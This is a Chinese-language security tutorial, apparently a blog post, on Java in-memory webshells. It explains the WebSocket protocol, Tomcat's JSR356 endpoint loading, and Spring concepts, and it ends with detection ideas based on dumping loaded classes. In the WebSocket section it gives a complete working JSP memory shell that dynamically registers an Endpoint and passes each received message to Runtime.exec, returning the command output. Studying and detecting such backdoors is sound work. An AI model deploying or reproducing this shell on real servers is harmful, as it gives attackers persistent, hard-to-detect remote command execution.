  • 2009年12月,Google Chrome 4是第一個提供標準支持的瀏覽器,默認情況下啓用了WebSocket。
  • 2010年2月,WebSocket協議的開發從W3C和WHATWG小組轉移到IETF(TheInternet Engineering Task Force),並在Ian Hickson的指導下進行了兩次修訂。
  • 2011年,IETF將WebSocket協議標準化爲RFC 6455起,大多數Web瀏覽器都在實現支持WebSocket協議的客戶端API。此外,已經開發了許多實現WebSocket協議的Java庫。
  • 2013年,發佈JSR356標準,Java API for WebSocket。

2013年以前還沒出JSR356標準,Tomcat就對Websocket做了支持,自定義API,再後來有了JSR356,Tomcat立馬緊跟潮流,廢棄自定義的API,實現JSR356那一套,這就使得在Tomcat7.0.47之後的版本和之前的版本實現方式並不一樣,接入方式也改變了。

JSR356 是java制定的websocket編程規範,屬於Java EE 7 的一部分,所以Java開發中要實現websocket功能並不需要任何第三方依賴。

相比HTTP協議,WebSocket協議有如下優點:

  • 較少的控制開銷。在連接建立後,服務器和客戶端之間交換數據時,用於協議控制的數據包頭部相對於HTTP請求每次都要攜帶完整的頭部,顯著減少。
  • 更強的實時性。由於協議是全雙工的,所以服務器可以隨時主動給客戶端下發數據。相對於HTTP請求需要等待客戶端發起請求服務端才能響應,延遲明顯更少。
  • 保持連接狀態。與HTTP不同的是,Websocket需要先建立連接,這就使得其成爲一種有狀態的協議,之後通信時可以省略部分狀態信息。而HTTP請求可能需要在每個請求都攜帶狀態信息(如身份認證等)。
  • 更好的二進制支持。Websocket定義了二進制幀,相對HTTP,可以更輕鬆地處理二進制內容。
  • 支持擴展。Websocket定義了擴展,用戶可以擴展協議、實現部分自定義的子協議。
  • 更好的壓縮效果。相對於HTTP壓縮,Websocket在適當的擴展支持下,可以沿用之前內容的上下文,在傳遞類似的數據時,可以顯著提高壓縮率。

接下來我們的討論就以Java WebSocket標準爲例。

0x3:Java WebSocket基本原理

1、Ws協議規範

WebSocket全雙工通信協議,在客戶端和服務端建立連接後,可以持續雙向通信,和HTTP同屬於應用層協議,並且都依賴於傳輸層的TCP/IP協議。

雖然WebSocket有別於HTTP,是一種新協議,但是RFC 6455中規定:

it is designed to work over HTTP ports 80 and 443 as well as to support HTTP proxies and intermediaries.
  • WebSocket通過HTTP端口80和443進行工作,並支持HTTP代理和中介,從而使其與HTTP協議兼容。
  • 爲了實現兼容性,WebSocket握手使用HTTP Upgrade頭從HTTP協議更改爲WebSocket協議。
  • Websocket使用ws或wss的統一資源標誌符(URI),分別對應明文和加密連接。

在雙向通信之前,必須通過握手建立連接。Websocket通過 HTTP/1.1 協議的101狀態碼進行握手,首先客戶端(如瀏覽器)發出帶有特殊消息頭(Upgrade、Connection)的請求到服務器,服務器判斷是否支持升級,支持則返回響應狀態碼101,表示協議升級成功,對於WebSocket就是握手成功。

客戶端請求示例:

  • Connection必須設置Upgrade,表示客戶端希望連接升級。
  • Upgrade: websocket表明協議升級爲websocket。
  • Sec-WebSocket-Key字段內記錄着握手過程中必不可少的鍵值,由客戶端(瀏覽器)生成,可以儘量避免普通HTTP請求被誤認爲Websocket協議。
  • Sec-WebSocket-Version表示支持的Websocket版本。RFC6455要求使用的版本是13。
  • Origin字段是必須的。如果缺少origin字段,WebSocket服務器需要回復HTTP 403 狀態碼(禁止訪問),通過Origin可以做安全校驗。

服務端請求示例: 

  • Sec-WebSocket-Accept的字段值是由握手請求中的Sec-WebSocket-Key的字段值生成的。成功握手確立WebSocket連接之後,通信時不再使用HTTP的數據幀,而採用WebSocket獨立的數據幀。 

2、Ws服務端實現方式

Tomcat將WebSocket通信中的服務端抽象爲了Endpoint,並提供兩種方式來實現Endpoint:

  • 註解方式:@ServeEndpoint
  • 繼承抽象類方式:javax.websocket.Endpoint

這兩種方式都需要實現相應的生命週期。提供了4個標準的生命週期方法,當產生不同的事件時會被回調觸發:

  • onOpen: 會話建立
  • onClose: 會話關閉
  • onError: 會話異常
  • onMessage: 接收到消息

Tomcat在啓動時會默認通過 WsSci 內的 ServletContainerInitializer 初始化 Listener 和 servlet。然後再掃描 classpath下帶有 @ServerEndpoint註解的類進行 addEndpoint加入websocket服務。

所以即使 Tomcat 沒有掃描到 @ServerEndpoint註解的類,也會進行Listener和 servlet註冊,這就是爲什麼所有Tomcat啓動都能在memshell scanner內看到WsFilter。

1)註解方式實現Ws服務端

通過註解方式實現Endpoint,需要用@ServerEndpoint註解實現了Endpoint生命週期的類,並用生命週期相關的註解(@OnOpen、@OnClose、@OnError、@OnMessage)來註解對應的生命週期實現方法。通過註解的參數,爲當前Endpoint註冊URI路徑。 

服務端代碼,WebSocketTest.java

package websocket;

import java.io.IOException;
import java.util.concurrent.CopyOnWriteArraySet;

import javax.websocket.OnClose;
import javax.websocket.OnError;
import javax.websocket.OnMessage;
import javax.websocket.OnOpen;
import javax.websocket.Session;
import javax.websocket.server.ServerEndpoint;
/**
 * @ServerEndpoint 註解是一個類層次的註解,它的功能主要是將目前的類定義成一個websocket服務器端,
 * 註解的值將被用於監聽用戶連接的終端訪問URL地址,客戶端可以通過這個URL來連接到WebSocket服務器端
 */

@ServerEndpoint("/websocket")
public class WebSocketTest {

    //靜態變量,用來記錄當前在線連接數。應該把它設計成線程安全的。
    private static int onlineCount = 0;

    //concurrent包的線程安全Set,用來存放每個客戶端對應的MyWebSocket對象。若要實現服務端與單一客戶端通信的話,可以使用Map來存放,其中Key可以爲用戶標識
    private static CopyOnWriteArraySet<WebSocketTest> webSocketSet = new CopyOnWriteArraySet<WebSocketTest>();

    //與某個客戶端的連接會話,需要通過它來給客戶端發送數據
    private Session session;

    /**
     * 連接建立成功調用的方法
     * @param session  可選的參數。session爲與某個客戶端的連接會話,需要通過它來給客戶端發送數據
     */
    @OnOpen
    public void onOpen(Session session){
        this.session = session;
        webSocketSet.add(this);     //加入set中
        addOnlineCount();           //在線數加1
        System.out.println("有新連接加入!當前在線人數爲" + getOnlineCount());
    }

    /**
     * 連接關閉調用的方法
     */
    @OnClose
    public void onClose(){
        webSocketSet.remove(this);  //從set中刪除
        subOnlineCount();           //在線數減1
        System.out.println("有一連接關閉!當前在線人數爲" + getOnlineCount());
    }

    /**
     * 收到客戶端消息後調用的方法
     * @param message 客戶端發送過來的消息
     * @param session 可選的參數
     */
    @OnMessage
    public void onMessage(String message, Session session) {
        System.out.println("來自客戶端的消息:" + message);
        //羣發消息
        for(WebSocketTest item: webSocketSet){
            try {
                item.sendMessage(message);
            } catch (Exception e) {
                e.printStackTrace();
                continue;
            }
        }
    }


    /**
     * 發生錯誤時調用
     * @param session
     * @param error
     */
    @OnError
    public void onError(Session session, Throwable error){
        System.out.println("發生錯誤");
        error.printStackTrace();
    }


    /**
     * 這個方法與上面幾個方法不一樣。沒有用註解,是根據自己需要添加的方法。
     * @param message
     * @throws IOException
     */
    public void sendMessage(String message) throws IOException{
        this.session.getBasicRemote().sendText(message);
        //this.session.getAsyncRemote().sendText(message);
    }

    public static synchronized int getOnlineCount() {
        return onlineCount;
    }

    public static synchronized void addOnlineCount() {
        WebSocketTest.onlineCount++;
    }

    public static synchronized void subOnlineCount() {
        WebSocketTest.onlineCount--;
    }


}

下面是客戶端的代碼 運用的是H5+JS 

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WebSocket的Client實現</title>
</head>
<body>
 Welcome<br/><input id="text" type="text"/>
    <button onclick="send()">發送消息</button>
    <hr/>
    <button onclick="closeWebSocket()">關閉WebSocket連接</button>
    <hr/>
    <div id="message"></div>
</body>

<script type="text/javascript">
    var websocket = null;
    //判斷當前瀏覽器是否支持WebSocket  url的地址爲本機ip地址+Tomcat端口號+項目名稱+註解服務器端
    if ('WebSocket' in window) {
        websocket = new WebSocket("ws://127.0.0.1:8080/memshell/websocket");
    }
    else {
        alert('當前瀏覽器 Not support websocket')
    }

    //連接發生錯誤的回調方法
    websocket.onerror = function () {
        setMessageInnerHTML("WebSocket連接發生錯誤");
    };

    websocket.onclose = function (e) {
          console.log('websocket 斷開: ' + e.code + ' ' + e.reason + ' ' + e.wasClean)
          console.log(e)
        }

    //連接成功建立的回調方法
    websocket.onopen = function () {
        setMessageInnerHTML("WebSocket連接成功");
    }

    //接收到消息的回調方法
    websocket.onmessage = function (event) {
        setMessageInnerHTML(event.data);
    }

    //連接關閉的回調方法
    websocket.onclose = function () {
        setMessageInnerHTML("WebSocket連接關閉");
    }

    //監聽窗口關閉事件,當窗口關閉時,主動去關閉websocket連接,防止連接還沒斷開就關閉窗口,server端會拋異常。
    window.onbeforeunload = function () {
        closeWebSocket();
    }

    //將消息顯示在網頁上
    function setMessageInnerHTML(innerHTML) {
        document.getElementById('message').innerHTML += innerHTML + '<br/>';
    }

    //關閉WebSocket連接
    function closeWebSocket() {
        websocket.close();
    }

    //發送消息
    function send() {
        var message = document.getElementById('text').value;
        websocket.send(message);
    }
</script>

</html> 

訪問鏈接:http://localhost:8080/memshell/websocket_client.jsp

然後就可因進行互發消息了在控制檯可以進行觀察接入動態。 

2)繼承抽象類Endpoint方式實現Ws服務端

通過繼承抽象類方式實現Endpoint稍微複雜一些,需要實現三個類:

  • Endpoint實現類:主要實現3個標準生命週期方法(onOpen、onError、onClose),添加MessageHandler對象
  • MessageHandler實現類:實現onMessage方法
  • ServerApplicationConfig實現類:完成Endpoint的URI路徑註冊

@ServerEndpoint的話都是使用默認的。

3、WebSocket在Tomcat中的源碼實現

Tomcat的WebSocket加載是通過SCI機制完成的。

Tomcat在啓動時會對classpath下的Jar包進行掃描,掃描包中的META-INF/services/javax.servlet.ServletContainerInitializer文件。

對於Tomcat WebSocket來說,下圖是tomcat-websocket.jar的ServletCotainerInitializer文件。

tomcat會加載文件中的類,org.apache.tomcat.websocket.server.WsSci,該類是ServletContainerInitializer接口的實現類。

然後該類的@HandleTypes註解的值會指定的一系列類、接口、註解。Tomcat會獲取指定類、接口、註解的實現類,並在調用WsSci#onStartup時作爲參數傳入。

ServerEndpoint、ServerApplicationConfig、Endpoint的實現類,以參數傳入WsSci#onStartup。 

  • ServerApplicationConfig的實現類,實例化後存入serverApplicationConfigs變量。
  • Endpoint的實現類,存入scannedEndpointClazzes變量。
  • ServerEndpoint註解的類,存入scannedPojoEndpoints變量。

變量存儲情況如下,通過註解方式實現的WebSocketServer類存入了scannedPojoEndpoints,通過繼承抽象類方式實現的WebSocketServer2類存入了scannedEndpointClazzes。

另外,scannedEndpointClazzes中還存入了PojoEndpointClient和PojoEndpointServer兩個類。接着會根據serverApplicationConfigs、scannedEndpointClazzes、scannedPojoEndpoints三個變量的值,來構建兩個變量:

  • filteredEndpointConfigs:如果有ServerApplicationConfig對象,則遍歷所有對象並完成如下操作:調用其getEndpointConfigs方法獲取ServerEndpointConfig的集合,加入到filteredEndpointConfigs中。因此filteredEndpointConfigs存儲的是通過ServerApplicationConfig對象獲取的ServerEndpointConfig對象的集合。
  • filteredPojoEndpoints:利用同樣的ServerApplicationConfig對象,調用其getAnnotatedEndpointClasses方法獲取Class對象的集合,也是被ServerEndpoint註解的類的集合。因此filteredPojoEndpoints存儲的是@ServerEndpoint註解的類的集合。

接着就是根據兩個變量向WsServerContainer添加Endpoint,完成Endpoint的部署。 

完成Ws的添加後,接下來繼續跟蹤Ws Endpoint的執行。

WsSci#onStartup中,會進行WsServerContainer的創建和初始化,在創建過程中會通過ServletContext#addFilter調用ApplicationContextFacade#addFilter添加過濾器WsFilter。

之後所有的請求都會經過WsFilter。之後接收到請求之後,如果註冊有Endpoint,且請求是WebSocket的協議升級請求,進行規則匹配及升級。 

爲了匹配規則,會通過WsServerContainer#findMapping獲取URI路徑對應的WsMappingResult對象,並進行協議升級。

0x4:Java Ws內存馬原理

根據Endpoint的加載原理,要想動態添加一個Endpoint,就需要獲取WsServerContainer,並通過addEndpoint向其中添加ServerEndpointConfig。

在WsSci#init中,完成了對WsServerContainer的實例化,並且通過ServletContext#setAttribute對WsServerContainer進行存儲。因此就可以通過ServletContext來獲取WsServerContainer。

最終WebSocket內存馬實現步驟如下:

  • 實現Endpoint,MessageHandler.onMessage中實現木馬通訊功能
  • 爲Endpoint創建ServerEndpointConfig
  • 依次獲取ServletConext和WsServerContainer
  • 通過WsServerContainer.addEndpoint添加ServerEndpointConfig
<%@ page import="javax.websocket.server.ServerEndpointConfig" %>
<%@ page import="javax.websocket.server.ServerContainer" %>
<%@ page import="javax.websocket.*" %>
<%@ page import="java.io.*" %>

<%!
    public static class C extends Endpoint implements MessageHandler.Whole<String> {
        private Session session;
        @Override
        public void onMessage(String s) throws IOException {
            try {
                Process process;
                process = Runtime.getRuntime().exec(s);
                InputStream inputStream = process.getInputStream();
                StringBuilder stringBuilder = new StringBuilder();
                int i;
                while ((i = inputStream.read()) != -1)
                    stringBuilder.append((char)i);
                inputStream.close();
                process.waitFor();
                session.getBasicRemote().sendText(stringBuilder.toString());
            } catch (Exception exception) {
                exception.printStackTrace();
            }
        }
        @Override
        public void onOpen(final Session session, EndpointConfig config) {
            this.session = session;
            session.addMessageHandler(this);
        }
    }
%>
<%
    String path = request.getParameter("path");
    ServletContext servletContext = request.getSession().getServletContext();
    ServerEndpointConfig configEndpoint = ServerEndpointConfig.Builder.create(C.class, path).build();
    ServerContainer container = (ServerContainer) servletContext.getAttribute(ServerContainer.class.getName());
    try {
        if (servletContext.getAttribute(path) == null){
            container.addEndpoint(configEndpoint);
            servletContext.setAttribute(path,path);
        }
        out.println("success, connect url path: " + servletContext.getContextPath() + path);
    } catch (Exception e) {
        out.println(e.toString());
    }
%>

訪問鏈接:http://localhost:8080/memshell/ws_memshell.jsp?path=/ws_memshell

之後可以使用ws client和ws內存馬進行交互。

<%@ page language="java" contentType="text/html; charset=UTF-8"
    pageEncoding="UTF-8"%>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>WebSocket的Client實現</title>
</head>
<body>
 Welcome<br/><input id="text" type="text"/>
    <button onclick="send()">發送消息</button>
    <hr/>
    <button onclick="closeWebSocket()">關閉WebSocket連接</button>
    <hr/>
    <div id="message"></div>
</body>

<script type="text/javascript">
    var websocket = null;
    //判斷當前瀏覽器是否支持WebSocket  url的地址爲本機ip地址+Tomcat端口號+項目名稱+註解服務器端
    if ('WebSocket' in window) {
        websocket = new WebSocket("ws://127.0.0.1:8080/memshell/ws_memshell");
    }
    else {
        alert('當前瀏覽器 Not support websocket')
    }

    //連接發生錯誤的回調方法
    websocket.onerror = function () {
        setMessageInnerHTML("WebSocket連接發生錯誤");
    };

    websocket.onclose = function (e) {
          console.log('websocket 斷開: ' + e.code + ' ' + e.reason + ' ' + e.wasClean)
          console.log(e)
        }

    //連接成功建立的回調方法
    websocket.onopen = function () {
        setMessageInnerHTML("WebSocket連接成功");
    }

    //接收到消息的回調方法
    websocket.onmessage = function (event) {
        setMessageInnerHTML(event.data);
    }

    //連接關閉的回調方法
    websocket.onclose = function () {
        setMessageInnerHTML("WebSocket連接關閉");
    }

    //監聽窗口關閉事件,當窗口關閉時,主動去關閉websocket連接,防止連接還沒斷開就關閉窗口,server端會拋異常。
    window.onbeforeunload = function () {
        closeWebSocket();
    }

    //將消息顯示在網頁上
    function setMessageInnerHTML(innerHTML) {
        document.getElementById('message').innerHTML += innerHTML + '<br/>';
    }

    //關閉WebSocket連接
    function closeWebSocket() {
        websocket.close();
    }

    //發送消息
    function send() {
        var message = document.getElementById('text').value;
        websocket.send(message);
    }
</script>

</html>

訪問鏈接:http://localhost:8080/memshell/websocket_client.jsp

參考鏈接:

https://blog.csdn.net/Dawns_1106/article/details/118368263 
https://blog.csdn.net/weixin_36586120/article/details/120025498 
https://www.anquanke.com/post/id/280529 
https://github.com/veo/wsMemShell/blob/main/Tomcat_Spring_Jetty/wscmd.jsp
https://github.com/veo/wsMemShell/ 
https://xz.aliyun.com/t/11566

 

七、Spring Interceptor 攔截器內存馬

0x1:什麼是Spring

Spring是一個支持快速開發Java EE應用程序的框架。它提供了一系列底層容器和基礎設施,並可以和大量常用的開源框架無縫集成。

Spring最早是由Rod Johnson這哥們在他的《Expert One-on-One J2EE Development without EJB》一書中提出的用來取代EJB的輕量級框架。隨後這哥們又開始專心開發這個基礎框架,並起名爲Spring Framework。

隨着Spring越來越受歡迎,在Spring Framework基礎上,又誕生了

  • Spring Boot
  • Spring Cloud
  • Spring Data
  • Spring Security

等一系列基於Spring Framework的項目。

這裏我們簡單介紹一些Spring的一些核心概念。

1、IOC容器

什麼是容器?容器是一種爲某種特定組件的運行提供必要支持的一個軟件環境。例如,Tomcat就是一個Servlet容器,它可以爲Servlet的運行提供運行環境。類似Docker這樣的軟件也是一個容器,它提供了必要的Linux環境以便運行一個特定的Linux進程。

通常來說,使用容器運行組件,除了提供一個組件運行環境之外,容器還提供了許多底層服務。例如,Servlet容器底層實現了TCP連接,解析HTTP協議等非常複雜的服務,如果沒有容器來提供這些服務,我們就無法編寫像Servlet這樣代碼簡單,功能強大的組件。早期的JavaEE服務器提供的EJB容器最重要的功能就是通過聲明式事務服務,使得EJB組件的開發人員不必自己編寫冗長的事務處理代碼,所以極大地簡化了事務處理。

Spring的核心就是提供了一個IoC容器,它可以管理所有輕量級的JavaBean組件,提供的底層服務包括組件的生命週期管理、配置和組裝服務、AOP支持,以及建立在AOP基礎上的聲明式事務服務等。

2、AOP

AOP是Aspect Oriented Programming,即面向切面編程。

與這個概念相對的是OOP,即Object Oriented Programming,OOP作爲面向對象編程的模式,獲得了巨大的成功,OOP的主要功能是數據封裝、繼承和多態。

而AOP是一種新的編程方式,它和OOP不同,OOP把系統看作多個對象的交互,AOP把系統分解爲不同的關注點,或者稱之爲切面(Aspect)。

要理解AOP的概念,我們先用OOP舉例,比如一個業務組件BookService,它有幾個業務方法:
  • createBook:添加新的Book
  • updateBook:修改Book
  • deleteBook:刪除Book

對每個業務方法,例如,createBook(),除了業務邏輯,還需要安全檢查、日誌記錄和事務處理,它的代碼像這樣: 

public class BookService {
    public void createBook(Book book) {
        securityCheck();
        Transaction tx = startTransaction();
        try {
            // 核心業務邏輯
            tx.commit();
        } catch (RuntimeException e) {
            tx.rollback();
            throw e;
        }
        log("created book: " + book);
    }
}

繼續編寫updateBook(),代碼如下:

public class BookService {
    public void updateBook(Book book) {
        securityCheck();
        Transaction tx = startTransaction();
        try {
            // 核心業務邏輯
            tx.commit();
        } catch (RuntimeException e) {
            tx.rollback();
            throw e;
        }
        log("updated book: " + book);
    }
}

對於安全檢查、日誌、事務等代碼,它們會重複出現在每個業務方法中。使用OOP,我們很難將這些四處分散的代碼模塊化。

可以發現,BookService關心的是自身的核心邏輯,但整個系統還要求關注安全檢查、日誌、事務等功能,這些功能實際上“橫跨”多個業務方法,爲了實現這些功能,不得不在每個業務方法上重複編寫代碼。

一種可行的方式是使用Proxy模式,將某個功能,例如,權限檢查,放入Proxy中:

public class SecurityCheckBookService implements BookService {
    private final BookService target;

    public SecurityCheckBookService(BookService target) {
        this.target = target;
    }

    public void createBook(Book book) {
        securityCheck();
        target.createBook(book);
    }

    public void updateBook(Book book) {
        securityCheck();
        target.updateBook(book);
    }

    public void deleteBook(Book book) {
        securityCheck();
        target.deleteBook(book);
    }

    private void securityCheck() {
        ...
    }
}

這種方式的缺點是比較麻煩,必須先抽取接口,然後,針對每個方法實現Proxy。

另一種方法是,既然SecurityCheckBookService的代碼都是標準的Proxy樣板代碼,不如把權限檢查視作一種切面(Aspect),把日誌、事務也視爲切面,然後,以某種自動化的方式,把切面織入到核心邏輯中,實現Proxy模式。

如果我們以AOP的視角來編寫上述業務,可以依次實現:

  • 核心邏輯,即BookService
  • 切面邏輯,即
    • 權限檢查的Aspect
    • 日誌的Aspect
    • 事務的Aspect

然後,以某種方式,讓框架來把上述3個Aspect以Proxy的方式“織入”到BookService中,這樣一來,就不必編寫複雜而冗長的Proxy模式。

如何把切面織入到核心邏輯中?這正是AOP需要解決的問題。換句話說,如果客戶端獲得了BookService的引用,當調用bookService.createBook()時,如何對調用方法進行攔截,並在攔截前後進行安全檢查、日誌、事務等處理,就相當於完成了所有業務功能。

在Java平臺上,對於AOP的織入,有3種方式:

  • 編譯期:在編譯時,由編譯器把切面調用編譯進字節碼,這種方式需要定義新的關鍵字並擴展編譯器,AspectJ就擴展了Java編譯器,使用關鍵字aspect來實現植入
  • 類加載器:在目標類被裝載到JVM時,通過一個特殊的類加載器,對目標類的字節碼重新“增強”
  • 運行期:目標對象和切面都是普通Java類,通過JVM的動態代理功能或者第三方庫實現運行期動態植入

最簡單的方式是第三種,Spring的AOP實現就是基於JVM的動態代理。由於JVM的動態代理要求必須實現接口,如果一個普通類沒有業務接口,就需要通過CGLIB或者Javassist這些第三方庫實現。

AOP技術看上去比較神祕,但實際上,它本質就是一個動態代理,讓我們把一些常用功能如權限檢查、日誌、事務等,從每個業務方法中剝離出來。

需要特別指出的是,AOP對於解決特定問題,例如事務管理非常有用,這是因爲分散在各處的事務代碼幾乎是完全相同的,並且它們需要的參數(JDBC的Connection)也是固定的。另一些特定問題,如日誌,就不那麼容易實現,因爲日誌雖然簡單,但打印日誌的時候,經常需要捕獲局部變量,如果使用AOP實現日誌,我們只能輸出固定格式的日誌,因此,使用AOP時,必須適合特定的場景。

3、Spring Web應用開發

我們知道,Servlet是Java EE Web開發的基礎,具體地說,有以下幾點:

  1. Servlet規範定義了幾種標準組件:Servlet、JSP、Filter和Listener
  2. Servlet的標準組件總是運行在Servlet容器中,如Tomcat、Jetty、WebLogic等

直接使用Servlet進行Web開發好比直接在JDBC上操作數據庫,比較繁瑣,更好的方法是在Servlet基礎上封裝MVC框架,基於MVC開發Web應用,大部分時候,不需要接觸Servlet API,開發省時省力。 

因此,開發Web應用,首先要選擇一個優秀的MVC框架。常用的MVC框架有:

  • Struts:最古老的一個MVC框架,目前版本是2,和1.x有很大的區別
  • WebWork:一個比Struts設計更優秀的MVC框架,但不知道出於什麼原因,從2.0開始把自己的代碼全部塞給Struts 2了
  • Turbine:一個重度使用Velocity,強調佈局的MVC框架

Spring理論上可以集成任何Web框架,但是,Spring本身也開發了一個MVC框架,就叫Spring MVC。這個MVC框架設計得足夠優秀以至於我們已經不想再費勁去集成類似Struts這樣的框架了。 

下面我們用Idea創建一個spring web應用。

Idea-->File-->New-->Project,

創建web項目,勾選Web需要的依賴,

創建完畢後IDEA會自動化的,利用Maven功能下載需要的jar包。項目結構如下:

寫一個測試頁面,測試一下,Hello World頁面。

0x2:Springboot攔截器原理

參考鏈接:

https://blog.csdn.net/qq_36223406/article/details/120850022 
https://www.liaoxuefeng.com/wiki/1252599548343744/1282383921807393
https://blog.csdn.net/qq_43369986/article/details/116746868 
https://www.cnblogs.com/zpchcbd/p/15545773.html
https://xz.aliyun.com/t/11039

 

八、JavaAgent型內存馬 

參考鏈接:

https://www.freebuf.com/articles/web/172753.html
https://www.cnblogs.com/xyylll/p/15473386.html
https://www.cnblogs.com/LittleHann/p/17462796.html
https://xz.aliyun.com/t/11640

 

內存馬檢測與排查

源碼檢測 - 攻防上限最高的方式

在java中,只有被JVM加載後的類才能被調用,或者在需要時通過反射通知JVM加載。所以特徵都在內存中,表現形式爲被加載的class。需要通過某種方法獲取到JVM的運行時內存中已加載的類,Java本身提供了Instrumentation類來實現運行時注入代碼並執行,因此產生一個檢測思路:

注入jar包 -> dump已加載class字節碼 -> 反編譯成java代碼 -> 源碼webshell檢測

這樣檢測比較消耗性能,我們可以縮小需要進行源碼檢測的類的範圍,通過如下的篩選條件組合使用篩選類進行檢測:

  • ① 新增的或修改的
  • ② 沒有對應class文件的,常見於通過反序列化漏洞從外部傳入的內存馬
  • ③ xml配置中沒註冊的,常見於通過反序列化漏洞從外部傳入的內存馬
  • ④ 冰蠍等常見工具使用的,有特性調用棧特徵的
  • ⑤ filterchain中排第一的filter類

還有一些比較弱的特徵可以用來輔助檢測,比如:

  • 類名稱中包含shell或者爲隨機名
  • 使用不常見的classloader加載的類等等

參考鏈接:

https://www.freebuf.com/articles/web/274466.html

 

 

發表評論
所有評論
還沒有人評論,想成為第一個評論的人麼? 請在上方評論欄輸入並且點擊發布.
相關文章